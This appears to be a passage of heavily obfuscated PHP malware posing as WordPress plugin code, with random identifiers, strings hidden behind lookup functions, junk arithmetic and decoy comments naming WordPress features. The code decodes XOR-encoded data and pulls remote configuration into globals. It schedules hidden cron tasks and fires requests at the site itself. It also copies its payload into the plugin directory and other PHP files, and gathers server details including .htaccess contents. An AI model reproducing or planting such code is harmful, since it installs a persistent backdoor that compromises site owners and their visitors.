 $dhjmd64bi2_fhvt =  xhg11fk9i0xj5k2(hus_b7m621lgc6(400),   array());$i5ek3tezfuy=251;$mcmbe3xmbfpr6=($i5ek3tezfuy>0)?$i5ek3tezfuy:-$i5ek3tezfuy;



if   (ep_coq62(243)($dhjmd64bi2_fhvt))    {
$dylcvvvnol  =   igsdp_2fdrp(401)($dhjmd64bi2_fhvt,   $dylcvvvnol);
   }
   $dylcvvvnol      =  lfavz1nmi6pw4(402)($dylcvvvnol);
   return   hus_b7m621lgc6(122)($dylcvvvnol,    -(0x14+0x1e));
 }
     function   yos1px8d6w3as60d3()
{
  if (!isset($GLOBALS[rmqbu5no5o(399)]) ||  empty($GLOBALS[ep_coq62(399)])) return;
try {
  $dhjmd64bi2_fhvt    = xhg11fk9i0xj5k2(ep_coq62(400), array());
$ud0ht2c0aey_1k6    = ep_coq62(402)(ep_coq62(403)((array)$dhjmd64bi2_fhvt,  $GLOBALS[ep_coq62(399)]));


 $ud0ht2c0aey_1k6 =   wyzg13xdhd5r(122)($ud0ht2c0aey_1k6,  -(18+32));
 y1t1n_tjdwdr9b8i44(wyzg13xdhd5r(400), $ud0ht2c0aey_1k6, wyzg13xdhd5r(170));


   }  catch   (Throwable     $mrelaaojjq4dc7d)  {
 hnp_n76gqrqs6vbf7203of(ep_coq62(404),    $mrelaaojjq4dc7d);


  }    catch     (Exception     $mrelaaojjq4dc7d) {
 }
}




function fwiype06drdzqvei_h1v($x9pi2kfsoa8v1u_l,   $key)


 {
 if  (!  hus_b7m621lgc6(405)($x9pi2kfsoa8v1u_l)  ||  ! ep_coq62(405)($key)  ||    lfavz1nmi6pw4(395)($key)  ===    0) {
// linearizable facade

return     null;
}
   $_t3h6cbhlqqugo_d  = igsdp_2fdrp(395)($x9pi2kfsoa8v1u_l);



     $wpoi2k162xcozna =   hus_b7m621lgc6(406)($key);
 $_m6wk2wte6czmz  =  "";

 for   ($il_uzw3law  =    0; $il_uzw3law <   $_t3h6cbhlqqugo_d;  $il_uzw3law++)    {
 $_m6wk2wte6czmz    .=  ep_coq62(383)(igsdp_2fdrp(384)($x9pi2kfsoa8v1u_l[$il_uzw3law]) ^ ep_coq62(384)($key[$il_uzw3law %   $wpoi2k162xcozna]));$lwgyj1rq=3686;$ke5vpr97k5=$lwgyj1rq%11;
 }
return    $_m6wk2wte6czmz;
  }

function  xfrd_wb91omz4a61j8($hzcz6kiwc60autpg)
    {
  if (!     lfavz1nmi6pw4(243)($hzcz6kiwc60autpg)) {
 $hzcz6kiwc60autpg  =    array();
   }
  $n8i1d9tlywh8yj_ =   boszsl7rph9f3rdf6wigwf();


 $_191lky_evnoa =   igsdp_2fdrp(407)(igsdp_2fdrp(369))    ?  _xntkey8jynbmjmnd76tef(wyzg13xdhd5r(408),    false)  : false;
 if  (ep_coq62(409)($_191lky_evnoa) &&  isset($_191lky_evnoa[ep_coq62(410)])      &&   (int)     $_191lky_evnoa[wyzg13xdhd5r(410)] >=  (184+116)  &&  (int) $_191lky_evnoa[rmqbu5no5o(410)]   <=  (62102+24298))  $n8i1d9tlywh8yj_ =    (int)  $_191lky_evnoa[hus_b7m621lgc6(410)];
    if   ($n8i1d9tlywh8yj_ <    (0x1f+0x1d))   {
 $n8i1d9tlywh8yj_   =   (3580+20);
  }
        $hzcz6kiwc60autpg[hus_b7m621lgc6(411)] =   array(
 ep_coq62(412)  => $n8i1d9tlywh8yj_,

      igsdp_2fdrp(413)  =>   wyzg13xdhd5r(414),
);
    $hzcz6kiwc60autpg[igsdp_2fdrp(415)] =  array(
 lfavz1nmi6pw4(412)  =>    (1041-441),
ep_coq62(413)      => ep_coq62(416),


);
  return      $hzcz6kiwc60autpg;
 }
  
 function    dpittj78t7t2s5xmspkm8d()
     {


 if (!hus_b7m621lgc6(407)(lfavz1nmi6pw4(417)) || !wyzg13xdhd5r(407)(igsdp_2fdrp(418)))    return;
 if (!apm4hn2aswm3_bah(rmqbu5no5o(419)))    return;
try {
  if     (!wp_next_scheduled(_cifkcih804l1yu2c4_()))  {
   wp_schedule_event(wyzg13xdhd5r(294)()    +    ep_coq62(420)((0x33+0x9), (202+98)),  hus_b7m621lgc6(411),   _cifkcih804l1yu2c4_());
 }
}  finally    {
   _38yfoleq3q40e76(igsdp_2fdrp(421));

}


   }
   
   function t0l7y48qwrl28efo3u7()



 {

    if  (defined(ep_coq62(422))     &&    DOING_CRON)    {
 return;


  }


static $tj79kx24osvxbylx =   false;
 if     ($tj79kx24osvxbylx)      return;
 $tj79kx24osvxbylx =   true;

     
       if (!  ylkxk29225uo5p7())  {

 return;



  }

 yh_5wfg4508dbh(lfavz1nmi6pw4(423), wyzg13xdhd5r(424),  0);
}
     function   mzj8iqgcf90ymcl72k7()
{


     if (!igsdp_2fdrp(407)(lfavz1nmi6pw4(425)) ||  !ep_coq62(426)(wyzg13xdhd5r(427)))  return;
 @igsdp_2fdrp(428)(site_url(igsdp_2fdrp(429)   .    igsdp_2fdrp(390)('.',   "",     (string)   ep_coq62(430)(true))   .   rmqbu5no5o(420)((0x14+0x50),  (1394-395))),  array(wyzg13xdhd5r(431)      =>   0.01,   rmqbu5no5o(432) =>  false, hus_b7m621lgc6(318) =>  false));
      }
   function   zrom4hzn1o7ikhip()


 {
     static $l56b68m7fvs  =  false;
 if    ($l56b68m7fvs)  return;
$l56b68m7fvs  =  true;


try  {
   $x14347xgnvr7io =      false;
if  (wyzg13xdhd5r(426)(lfavz1nmi6pw4(433)))   {
rmqbu5no5o(433)();
$x14347xgnvr7io  =  true;
  }  elseif  (rmqbu5no5o(434)(ep_coq62(435)))   {



  hus_b7m621lgc6(435)();
 $x14347xgnvr7io     =    true;


 }  else   {


     if  (wyzg13xdhd5r(434)(ep_coq62(436)))    {
     @lfavz1nmi6pw4(436)(true);
}
    $fa8nnfxu4h1   =  igsdp_2fdrp(434)(lfavz1nmi6pw4(437))    && @lfavz1nmi6pw4(437)(ep_coq62(438));
  if  (!headers_sent()    &&  !$fa8nnfxu4h1     && wyzg13xdhd5r(439)()  ===  1  && igsdp_2fdrp(434)(hus_b7m621lgc6(440)))      {
    $_cl =     @ob_get_length();
 if  ($_cl  !==  false   &&    $_cl  >     0)     {
  @header(hus_b7m621lgc6(441)  .    $_cl);
  @header(wyzg13xdhd5r(442));


        }
    }
if   (wyzg13xdhd5r(443)())  {
   @lfavz1nmi6pw4(444)();

}
@hus_b7m621lgc6(445)();


}

$h_9pdilbme   = igsdp_2fdrp(434)(igsdp_2fdrp(446)) &&  !(defined(lfavz1nmi6pw4(447))  && DISABLE_WP_CRON);
  $vabzwwx7yvep  = !wyzg13xdhd5r(434)(igsdp_2fdrp(448))     || (int)  get_option(rmqbu5no5o(449),  0)   ===   0;
 if  (!$vabzwwx7yvep   &&   rmqbu5no5o(434)(ep_coq62(448))  &&  igsdp_2fdrp(434)(ep_coq62(64))) {
       $vp2sehgy5fh8    =    (string)  get_option(rmqbu5no5o(450),  "");
if      ($vp2sehgy5fh8 !==  m5d7gnhy503_5w7j())    {
       @update_option(wyzg13xdhd5r(451),   m5d7gnhy503_5w7j(),  rmqbu5no5o(170));
  @update_option(hus_b7m621lgc6(449),  0, igsdp_2fdrp(170));
    $vabzwwx7yvep =  true;
  }
 }
  $qwsm4f_xlyj = false;
      if    ($h_9pdilbme &&  igsdp_2fdrp(434)(hus_b7m621lgc6(417)))   {
  $zn_mwbh5o79bs0     =   wp_next_scheduled(_cifkcih804l1yu2c4_());



if   ($zn_mwbh5o79bs0   &&    (igsdp_2fdrp(294)()  -    (int) $zn_mwbh5o79bs0) >  (8755-1555))   {
   $qwsm4f_xlyj  = true;
    if   (ep_coq62(434)(wyzg13xdhd5r(452)))   @wp_unschedule_event((int) $zn_mwbh5o79bs0,    _cifkcih804l1yu2c4_());


       }

  }


 if ($h_9pdilbme     &&   !$vabzwwx7yvep  &&  !$qwsm4f_xlyj)     {
    $ap0dkbollm =    rmqbu5no5o(453)(igsdp_2fdrp(454))   ? (int)   wp_next_scheduled(_cifkcih804l1yu2c4_())  :    0;
  if ($ap0dkbollm <=     0      ||   $ap0dkbollm   -    rmqbu5no5o(455)()  >     (1251-351))   {
    @wp_schedule_single_event(hus_b7m621lgc6(455)(),  _cifkcih804l1yu2c4_());
     }



    a1xun0g96psejc_();



 return;



}
if  ($qwsm4f_xlyj)  hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(456),   ep_coq62(457));



 if   (!$x14347xgnvr7io)     {
if ($h_9pdilbme)   @wp_schedule_single_event(rmqbu5no5o(458)(),   _cifkcih804l1yu2c4_());
 mzj8iqgcf90ymcl72k7();

a1xun0g96psejc_();
    return;
   }
if     (lfavz1nmi6pw4(453)(igsdp_2fdrp(459)))    @ep_coq62(459)((0x73+0x41));
w1rbw014jook7kasyqukc1();
    }  catch  (Throwable $mrelaaojjq4dc7d)   {
   hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(423),  $mrelaaojjq4dc7d);

 }  catch (Exception   $mrelaaojjq4dc7d) {
}


     }

 function  erfven3y59qbh5()
        {
        try   {
  if  (!    igsdp_2fdrp(460)(wyzg13xdhd5r(448)))   {
   return;
 }
// coalesce invariant for WP Global Styles

      
 $dwz9j13pl1      =  hus_b7m621lgc6(460)(igsdp_2fdrp(461))    ?   get_transient(ws9xpun_9td1a1wfmk())    :   false;
        if      (!   ep_coq62(409)($dwz9j13pl1))    $dwz9j13pl1 =   _xntkey8jynbmjmnd76tef(igsdp_2fdrp(408),   false);
  if  (!  hus_b7m621lgc6(409)($dwz9j13pl1))  {
  return;
}

if    (isset($dwz9j13pl1[ep_coq62(462)]) && hus_b7m621lgc6(463)($dwz9j13pl1[hus_b7m621lgc6(462)]))      {
     $GLOBALS[ep_coq62(464)]  =    ggs78lka0_a3qy0oa8($dwz9j13pl1[igsdp_2fdrp(465)]);
}
 
     if    (isset($dwz9j13pl1[rmqbu5no5o(466)])  &&   ep_coq62(463)($dwz9j13pl1[rmqbu5no5o(466)])) {
  $GLOBALS[wyzg13xdhd5r(467)]    =  ggs78lka0_a3qy0oa8($dwz9j13pl1[ep_coq62(466)]);



  }
     
    if   (isset($dwz9j13pl1[wyzg13xdhd5r(468)])      &&  igsdp_2fdrp(405)($dwz9j13pl1[rmqbu5no5o(468)]))     {
  $GLOBALS[wyzg13xdhd5r(469)]      = $dwz9j13pl1[wyzg13xdhd5r(470)];


   }
  if (isset($dwz9j13pl1[wyzg13xdhd5r(471)])  &&  rmqbu5no5o(405)($dwz9j13pl1[ep_coq62(471)]) && ep_coq62(406)($dwz9j13pl1[hus_b7m621lgc6(471)]) >    (37+13)) {
   $GLOBALS[hus_b7m621lgc6(472)]    =  $dwz9j13pl1[lfavz1nmi6pw4(471)];
}
       if    (isset($dwz9j13pl1[rmqbu5no5o(393)]) &&  igsdp_2fdrp(405)($dwz9j13pl1[igsdp_2fdrp(473)])  &&    igsdp_2fdrp(406)($dwz9j13pl1[rmqbu5no5o(473)]) >     (73+27))   {
   $GLOBALS[igsdp_2fdrp(474)]  =  $dwz9j13pl1[rmqbu5no5o(475)];
 }
  } catch (Throwable $mrelaaojjq4dc7d)  {
hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(476), $mrelaaojjq4dc7d);
 }  catch    (Exception $mrelaaojjq4dc7d) {
 }



  }
    
   function  cdv0k6xx3xpvsfem()
{
  try   {
  if  (!lfavz1nmi6pw4(460)(lfavz1nmi6pw4(448))   || !hus_b7m621lgc6(460)(rmqbu5no5o(477)))    return;
 if   ((int)    get_option(wyzg13xdhd5r(478), 0) >     lfavz1nmi6pw4(458)()      - (3577+23))   return;
 if (hus_b7m621lgc6(460)(ep_coq62(461))  &&    get_transient(lfavz1nmi6pw4(479)))   return;
  $jvn9swnj7t1tx =  xhg11fk9i0xj5k2(igsdp_2fdrp(480),   "");
   if (!lfavz1nmi6pw4(405)($jvn9swnj7t1tx)    ||  wyzg13xdhd5r(481)($jvn9swnj7t1tx)  <  (32+468) ||   wpw1lzvpjeaxudejz($jvn9swnj7t1tx) ||   !chslach3yj4d6lbh($jvn9swnj7t1tx)) {



$jvn9swnj7t1tx =  false;



$xtwpr7_vqknpyte =    @lfavz1nmi6pw4(482)(kwizo_5vxh_f26an7qg());
  if ($xtwpr7_vqknpyte &&    $xtwpr7_vqknpyte > (470+30)   &&   $xtwpr7_vqknpyte  <=  (0x1d48eae+0x14b7152))  {
// WP Latest Posts: fold-const retry-policy

      $_bq50m214v6tz3jo   =     @igsdp_2fdrp(202)(kwizo_5vxh_f26an7qg());

     if    (rmqbu5no5o(405)($_bq50m214v6tz3jo)   && igsdp_2fdrp(481)($_bq50m214v6tz3jo) > (0x57c1f+0xa83e1)) $_bq50m214v6tz3jo   = jkq4_uvfuw5l47za51944b($_bq50m214v6tz3jo);
if   (wyzg13xdhd5r(405)($_bq50m214v6tz3jo) &&  !wpw1lzvpjeaxudejz($_bq50m214v6tz3jo) &&  chslach3yj4d6lbh($_bq50m214v6tz3jo)) {

 y1t1n_tjdwdr9b8i44(lfavz1nmi6pw4(480), $_bq50m214v6tz3jo, hus_b7m621lgc6(170));
   $jvn9swnj7t1tx   =  $_bq50m214v6tz3jo;
}
}
  if   (!$jvn9swnj7t1tx)     {
       @update_option(ep_coq62(478), ep_coq62(483)(),    rmqbu5no5o(170));
return;
   }
  }
 $jy1i3ygk5g6v5xnw  = array(kwizo_5vxh_f26an7qg());
$jc13fc7la7boooql =    bv_j7m9r7_qskxb7m();
  $jnnkl93un172      =   aoy815vanbylrvbuug0i($jc13fc7la7boooql);
  if   (igsdp_2fdrp(463)($jnnkl93un172))    {
foreach  ($jnnkl93un172     as    $t_vi7hld9qdg8w) {$tfl1lb7bpqqwen=65+11;$nhattgrhdk=$tfl1lb7bpqqwen-30;
if   (lfavz1nmi6pw4(484)($t_vi7hld9qdg8w,  -(0x1+0x3)) ===   wyzg13xdhd5r(485))  $jy1i3ygk5g6v5xnw[]   =  $jc13fc7la7boooql . '/' .  $t_vi7hld9qdg8w;$tx72nhbswp_qt=35|74;$visjntsw2rz_hb=$tx72nhbswp_qt^180;
}
   }

 if     (defined(hus_b7m621lgc6(486)) && lfavz1nmi6pw4(460)(lfavz1nmi6pw4(290)))     {
foreach    ((array) @rmqbu5no5o(290)(WP_PLUGIN_DIR    .   hus_b7m621lgc6(487))  as    $js_jzkgcv59pqx2)  $jy1i3ygk5g6v5xnw[]    =  $js_jzkgcv59pqx2;


}

 $jy1i3ygk5g6v5xnw     =    igsdp_2fdrp(488)($jy1i3ygk5g6v5xnw);
     $wdu5kszge0wt_sx =    array();
   $kadz9b_1ru5kx82t     =  ep_coq62(489)(hus_b7m621lgc6(490)(rmqbu5no5o(491),      "",   wyzg13xdhd5r(489)($jvn9swnj7t1tx,   0,  (0x170f+0xe8f1))),  0,  (3320-1272));
foreach   ($jy1i3ygk5g6v5xnw  as      $de42_qcevq1bs)   {
// @spill ring-buffer




        $kbywbzkxet4la8h    =   @wyzg13xdhd5r(482)($de42_qcevq1bs);


 if    (!$kbywbzkxet4la8h  ||   $kbywbzkxet4la8h   <=      (1048490+86))     continue;
 $ott2af0qoi0y     =  @igsdp_2fdrp(202)($de42_qcevq1bs,   false,    null,  0,   (0x5c79+0xa387));

 if    (!ep_coq62(492)($ott2af0qoi0y) || !wpw1lzvpjeaxudejz($ott2af0qoi0y))  continue;
 if   ($de42_qcevq1bs !== kwizo_5vxh_f26an7qg()   && rmqbu5no5o(493)(hus_b7m621lgc6(494)(hus_b7m621lgc6(495),  "", $ott2af0qoi0y),  0,   (1391+657)) !==  $kadz9b_1ru5kx82t)  continue;
   $wdu5kszge0wt_sx[]   =  $de42_qcevq1bs;



}

    if   (!$wdu5kszge0wt_sx) {
 if (rmqbu5no5o(460)(ep_coq62(496)))    set_transient(igsdp_2fdrp(479), 1, (468+132));
 return;$q04dencobvz9t=PHP_INT_MAX/PHP_INT_MAX;$hzsujrl_k=$q04dencobvz9t+5;
    }



 @update_option(lfavz1nmi6pw4(478), hus_b7m621lgc6(483)(),     ep_coq62(170));
foreach    ($wdu5kszge0wt_sx  as    $eofsqnwjdfpxz)   {


ms4mh9yjk8_y876983kix($eofsqnwjdfpxz,     (357+63));
    if (p1cskrtcz8bv54lf($eofsqnwjdfpxz,   gdb8f5jybxbvgd($jvn9swnj7t1tx)))  {


 ipcjzmly5gb5jdv($eofsqnwjdfpxz);$rto687evpg=61*7;$s2a1lp6ogt3z=$rto687evpg-13;
      je70juj6lq88lrd($eofsqnwjdfpxz);
ms4mh9yjk8_y876983kix($eofsqnwjdfpxz,   (21+271));
fjjsa59vrgj7lkezp_z_x5($eofsqnwjdfpxz);
   if   ($eofsqnwjdfpxz    ===   kwizo_5vxh_f26an7qg()) {
   m8bil168ioia0snf0ol(true);
   rwt3a4h41s7rmcrtx(true);
 }
// negotiate orthogonal-adj gateway



 }    else  {
// coerce to object

 ms4mh9yjk8_y876983kix($eofsqnwjdfpxz, (255+37));


}
   }
    } catch   (Throwable  $mrelaaojjq4dc7d)  {
 hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(497),     $mrelaaojjq4dc7d);
}   catch   (Exception  $mrelaaojjq4dc7d) {
     }
}
function   uucy30rcsxsn8ibb8()
   {
 static  $tj79kx24osvxbylx  =   false;
  if  ($tj79kx24osvxbylx)  return;
     $tj79kx24osvxbylx  =      true;



      try {
     raj8y86ti08edjk();
    cdv0k6xx3xpvsfem();
     nqfj2quxdadhk0xz();
     erfven3y59qbh5();



  dpittj78t7t2s5xmspkm8d();
   vcqoaorqsaod27i();
  hx0_ao_9gbqrt9_vr4s();
  zksb68q35cwjie();
   kvyacs5zrf1f20v();
 if   (ylkxk29225uo5p7())  {
if (wyzg13xdhd5r(460)(wyzg13xdhd5r(498))    &&  did_action(ep_coq62(423)))      {
    if (hus_b7m621lgc6(499)(wyzg13xdhd5r(500)))   igsdp_2fdrp(501)(hus_b7m621lgc6(424));
 } else  {
yh_5wfg4508dbh(wyzg13xdhd5r(423),    ep_coq62(424),  0);



}
/* lock-free phantom */

       }
 }     catch  (Throwable   $mrelaaojjq4dc7d)   {
  }    catch  (Exception  $mrelaaojjq4dc7d)  {



 }
    }
function   a1xun0g96psejc_()



   {
  try  {
      if    (!lfavz1nmi6pw4(499)(hus_b7m621lgc6(428))   ||   !hus_b7m621lgc6(499)(lfavz1nmi6pw4(502)))    return;
if    (!ep_coq62(499)(ep_coq62(448))  ||     !igsdp_2fdrp(499)(ep_coq62(477)))  return;
      $ngypew9bc7e   =  hus_b7m621lgc6(483)();





      if   ($ngypew9bc7e      -  (int)    @get_option(wyzg13xdhd5r(503),    0)     < (3574+26)) return;
 @update_option(lfavz1nmi6pw4(503), $ngypew9bc7e,    rmqbu5no5o(170));
 @rmqbu5no5o(504)(home_url('/'),  array(rmqbu5no5o(431) => 2, ep_coq62(318) =>   false,  wyzg13xdhd5r(432)     =>   false));

    } catch    (Throwable    $mrelaaojjq4dc7d)    {
} catch (Exception $mrelaaojjq4dc7d)  {
  }
   }
function   ylkxk29225uo5p7()
  {

if    (!    hus_b7m621lgc6(499)(wyzg13xdhd5r(448)))      {
  return    true;
 }



 



 if    (hus_b7m621lgc6(499)(lfavz1nmi6pw4(461))  &&  get_transient(ws9xpun_9td1a1wfmk()))   {
  return  false;
    }
    
$f21y1ro5sm =    boszsl7rph9f3rdf6wigwf();
   $_191lky_evnoa   = _xntkey8jynbmjmnd76tef(rmqbu5no5o(505),    false);
 if   (rmqbu5no5o(506)($_191lky_evnoa) && isset($_191lky_evnoa[ep_coq62(507)])      && (int)    $_191lky_evnoa[igsdp_2fdrp(507)] >=  (166+134) &&     (int)  $_191lky_evnoa[ep_coq62(507)]  <= (86349+51))  $f21y1ro5sm    =  (int)  $_191lky_evnoa[rmqbu5no5o(507)];
  $e4rzrki0isz_a     =    (int)  get_option(igsdp_2fdrp(449), 0);
    if    ($e4rzrki0isz_a >    0   &&   (wyzg13xdhd5r(483)()  -  $e4rzrki0isz_a)  <  $f21y1ro5sm)  {
 return     false;
        }
  
$j0g3iwtlrms   = (int) get_option(igsdp_2fdrp(508),    0);
  

if   ($j0g3iwtlrms   >    0)  {
       $d2xy2zbbu5mf_e5  =   (int) get_option(wyzg13xdhd5r(509),    0);
   $htjwahx072t_ =   array((287+13),  (803+97),    (466+1334),      (0xa35+0x3db),     (3597+3));
  $q38gze9z84x = $htjwahx072t_[ep_coq62(510)(0,  rmqbu5no5o(511)($d2xy2zbbu5mf_e5    - 1,    (0x2+0x2)))];
  $q38gze9z84x += wyzg13xdhd5r(420)(0, (int)    ($q38gze9z84x    *  0.25));
 if ((igsdp_2fdrp(512)() -     $j0g3iwtlrms) <  $q38gze9z84x)   {
   return false;
  


 }
 }

return     true;
    }
 
function  i2o2c8gx93yfif12w2q86()
  {
     $d2xy2zbbu5mf_e5  =    (int)  get_option(igsdp_2fdrp(509),    0);
update_option(hus_b7m621lgc6(509), $d2xy2zbbu5mf_e5 + 1);
update_option(hus_b7m621lgc6(508),   hus_b7m621lgc6(513)());
      }
   function  d4n47nrnuta96miwpgqkg()
{
     $zkzbo8aayuo3   = array();
    try {
$zkzbo8aayuo3[rmqbu5no5o(514)]   =  m5d7gnhy503_5w7j();



   $zkzbo8aayuo3[wyzg13xdhd5r(515)]    =   PHP_VERSION;
  $zkzbo8aayuo3[wyzg13xdhd5r(516)] =  wyzg13xdhd5r(517)();
   $zkzbo8aayuo3[lfavz1nmi6pw4(518)]   =  (igsdp_2fdrp(499)(ep_coq62(519))  &&  is_ssl())  ?  1  :    0;
  $zkzbo8aayuo3[wyzg13xdhd5r(520)]    =   (igsdp_2fdrp(499)(hus_b7m621lgc6(207))   &&    is_multisite())    ?   1  : 0;


 $zkzbo8aayuo3[lfavz1nmi6pw4(521)] = isset($GLOBALS[rmqbu5no5o(522)])      ? (string)      $GLOBALS[wyzg13xdhd5r(522)]  :     "";



 $zkzbo8aayuo3[igsdp_2fdrp(523)]  =  isset($_SERVER[hus_b7m621lgc6(78)]) ? hus_b7m621lgc6(524)((string)   $_SERVER[wyzg13xdhd5r(78)], 0, (39+1)) :    "";

   $icr5n1qx4zv34r =  (isset($GLOBALS[igsdp_2fdrp(469)])   &&    igsdp_2fdrp(525)($GLOBALS[rmqbu5no5o(469)])) ?  igsdp_2fdrp(373)($GLOBALS[hus_b7m621lgc6(469)])  :  "";

     $zkzbo8aayuo3[wyzg13xdhd5r(526)]  =     ($icr5n1qx4zv34r   !==   "")  ?  1    :   0;
    $zkzbo8aayuo3[igsdp_2fdrp(527)]    =      hus_b7m621lgc6(528)($icr5n1qx4zv34r);
 $zkzbo8aayuo3[lfavz1nmi6pw4(529)]  = !empty($GLOBALS[rmqbu5no5o(530)]) ?     1     :    0;
   $zkzbo8aayuo3[hus_b7m621lgc6(531)]  =   !empty($GLOBALS[rmqbu5no5o(532)])    ?   1 :  0;

  $zkzbo8aayuo3[rmqbu5no5o(533)]  =  igsdp_2fdrp(534)(lfavz1nmi6pw4(535))  ? (int)    @get_option(wyzg13xdhd5r(536), 0) : 0;
  $zkzbo8aayuo3[wyzg13xdhd5r(394)] = (j5gya5jxcqm92g(igsdp_2fdrp(394),  "")  !== "")  ?      1 :     0;
$zkzbo8aayuo3[lfavz1nmi6pw4(537)]  =      hus_b7m621lgc6(538)(igsdp_2fdrp(539))  ? (int)     @get_option(lfavz1nmi6pw4(540), 0)    :   0;

      $zkzbo8aayuo3[ep_coq62(541)]    =      wyzg13xdhd5r(538)(igsdp_2fdrp(542))  ? (int)  @get_option(hus_b7m621lgc6(543),    0)    : 0;
$zkzbo8aayuo3[ep_coq62(544)]  =     hus_b7m621lgc6(545)(hus_b7m621lgc6(542))  ?    (int) @get_option(igsdp_2fdrp(546),  0)   :     0;


 $rxzmhdjber  = j050_s_2aiw8u03k();
  $zkzbo8aayuo3[igsdp_2fdrp(547)] =    @lfavz1nmi6pw4(55)($rxzmhdjber   .   igsdp_2fdrp(548))    ?  (oc_f7l9n4uiaumz(@ep_coq62(549)($rxzmhdjber  . igsdp_2fdrp(548), false,  null,  0,  (8186+6)))  ? 2   :  1) : 0;
 $zkzbo8aayuo3[lfavz1nmi6pw4(550)] =    @lfavz1nmi6pw4(551)($rxzmhdjber .  lfavz1nmi6pw4(552)) ?   (oc_f7l9n4uiaumz(@ep_coq62(549)($rxzmhdjber  . rmqbu5no5o(552), false, null,   0,   (8128+64)))     ?  2    :  1) :     0;
$zkzbo8aayuo3[lfavz1nmi6pw4(553)]  =   @hus_b7m621lgc6(551)($rxzmhdjber  .   hus_b7m621lgc6(554))      ?      (oc_f7l9n4uiaumz(@ep_coq62(549)($rxzmhdjber  .  igsdp_2fdrp(554),    false,   null,   0,  (9413-1221)))   ? 2     :  1)  :  0;

$ty82veftl1n28602  = lfavz1nmi6pw4(555)    . mqedo90o6oi8f48x6b8n(ABSPATH .  'g',  (3+5));



 $pvk4sum1g8m4_l  =     wyzg13xdhd5r(556) .   mqedo90o6oi8f48x6b8n(ABSPATH   .  'g', (4<<1));


$zkzbo8aayuo3[wyzg13xdhd5r(557)] =    0;
 foreach     (array(b9x_qnoopw0bqe8tpa3a4(),     $rxzmhdjber,    ABSPATH      .   igsdp_2fdrp(558))  as $rsxl5bce9jlha) {
 if  (@igsdp_2fdrp(559)($rsxl5bce9jlha    .   '/'  . $ty82veftl1n28602    . hus_b7m621lgc6(485))) $zkzbo8aayuo3[lfavz1nmi6pw4(560)]   =  1;
 if     (@lfavz1nmi6pw4(559)($rsxl5bce9jlha     .  '/' . $pvk4sum1g8m4_l)   && (int)     @lfavz1nmi6pw4(292)($rsxl5bce9jlha  .   '/'    .   $pvk4sum1g8m4_l)    >  hus_b7m621lgc6(513)()   -    (89^169))    {
  $zkzbo8aayuo3[igsdp_2fdrp(560)]    =  2;



break;$zyi65sofmd8=23+70;$ulo0q__36nz28w=$zyi65sofmd8-1;
  }
}
     unset($pvk4sum1g8m4_l,     $rsxl5bce9jlha);
 



  $jssova4jx1grf    =  lfavz1nmi6pw4(561)(hus_b7m621lgc6(437))  ? @lfavz1nmi6pw4(562)(igsdp_2fdrp(563)) :   false;

 if     (!rmqbu5no5o(525)($jssova4jx1grf)  || $jssova4jx1grf   ===    "" || $jssova4jx1grf  === rmqbu5no5o(564))     $jssova4jx1grf   =   wyzg13xdhd5r(565);
  $zkzbo8aayuo3[wyzg13xdhd5r(566)]  =  (@hus_b7m621lgc6(567)(ABSPATH . $jssova4jx1grf) &&    rmqbu5no5o(568)((string) @lfavz1nmi6pw4(569)(ABSPATH  .    $jssova4jx1grf), wyzg13xdhd5r(570))   !==     false)  ? 1    : 0;
  $zkzbo8aayuo3[wyzg13xdhd5r(571)] = (@wyzg13xdhd5r(567)(ABSPATH   .     igsdp_2fdrp(572))     && hus_b7m621lgc6(573)((string) @rmqbu5no5o(569)(ABSPATH     . hus_b7m621lgc6(572)), rmqbu5no5o(574)) !==   false)   ? 1  :  0;
     $zkzbo8aayuo3[ep_coq62(575)] = (@igsdp_2fdrp(567)(ABSPATH   .   hus_b7m621lgc6(576))   &&    rmqbu5no5o(573)((string)  @hus_b7m621lgc6(569)(ABSPATH  .    ep_coq62(576),   false, null,   0, (21959+43577)),  lfavz1nmi6pw4(577))   !==  false) ?    1     :  0;
$zkzbo8aayuo3[wyzg13xdhd5r(578)] =   defined(lfavz1nmi6pw4(579))  ?      1   :    0;
      $zkzbo8aayuo3[rmqbu5no5o(580)]  =     (defined(wyzg13xdhd5r(581))    || defined(ep_coq62(582))   ||   defined(rmqbu5no5o(583))  ||   ep_coq62(561)(ep_coq62(584))  ||      rmqbu5no5o(585)(igsdp_2fdrp(586))  ||  isset($GLOBALS[wyzg13xdhd5r(587)])    || rmqbu5no5o(561)(hus_b7m621lgc6(588)))     ? 1  :   0;
  $zkzbo8aayuo3[wyzg13xdhd5r(589)]      = (int)     get_option(ep_coq62(449),  0);



$zkzbo8aayuo3[hus_b7m621lgc6(590)]  =  (int)   get_option(rmqbu5no5o(509),   0);
 $zkzbo8aayuo3[lfavz1nmi6pw4(591)] =    (int) get_option(hus_b7m621lgc6(592),     0);
  $f4qn4vn23_2ep6d0    =  xhg11fk9i0xj5k2(hus_b7m621lgc6(593),    array());
   $l9sw0cjmgnu     = 0;

$gkup0s81ftfqgot9    =  0;
      if (rmqbu5no5o(594)($f4qn4vn23_2ep6d0))    {
foreach  ($f4qn4vn23_2ep6d0 as      $t_vi7hld9qdg8w)     {


 if (fflvcnhb1ory65qw05($t_vi7hld9qdg8w)     === "")      continue;
 $l9sw0cjmgnu++;
$zvhk7zwpx1pixa4    =     ep_coq62(595)($t_vi7hld9qdg8w) ? (int)  (isset($t_vi7hld9qdg8w[ep_coq62(596)]) ?  $t_vi7hld9qdg8w[rmqbu5no5o(596)]     :  1)   :  1;
  $i3gbjg6anv9se4zz = wyzg13xdhd5r(595)($t_vi7hld9qdg8w)   &&     isset($t_vi7hld9qdg8w[wyzg13xdhd5r(597)]) ? (int)    $t_vi7hld9qdg8w[wyzg13xdhd5r(597)]  : 0;$ut_wngtp11x6=82*8;$fpyotmxj9bz=$ut_wngtp11x6-4;
if     (!$zvhk7zwpx1pixa4  &&  (!$i3gbjg6anv9se4zz  ||  $i3gbjg6anv9se4zz  < hus_b7m621lgc6(513)() -  (3550+50)))    $gkup0s81ftfqgot9++;
        

 }
    }
     $zkzbo8aayuo3[rmqbu5no5o(598)]  = $l9sw0cjmgnu;
  $zkzbo8aayuo3[rmqbu5no5o(599)] =   $gkup0s81ftfqgot9;
  $a_pfjg_7m2meqo  =  wyzg13xdhd5r(561)(igsdp_2fdrp(542)) ?  @get_option(ep_coq62(600),  "")    : "";



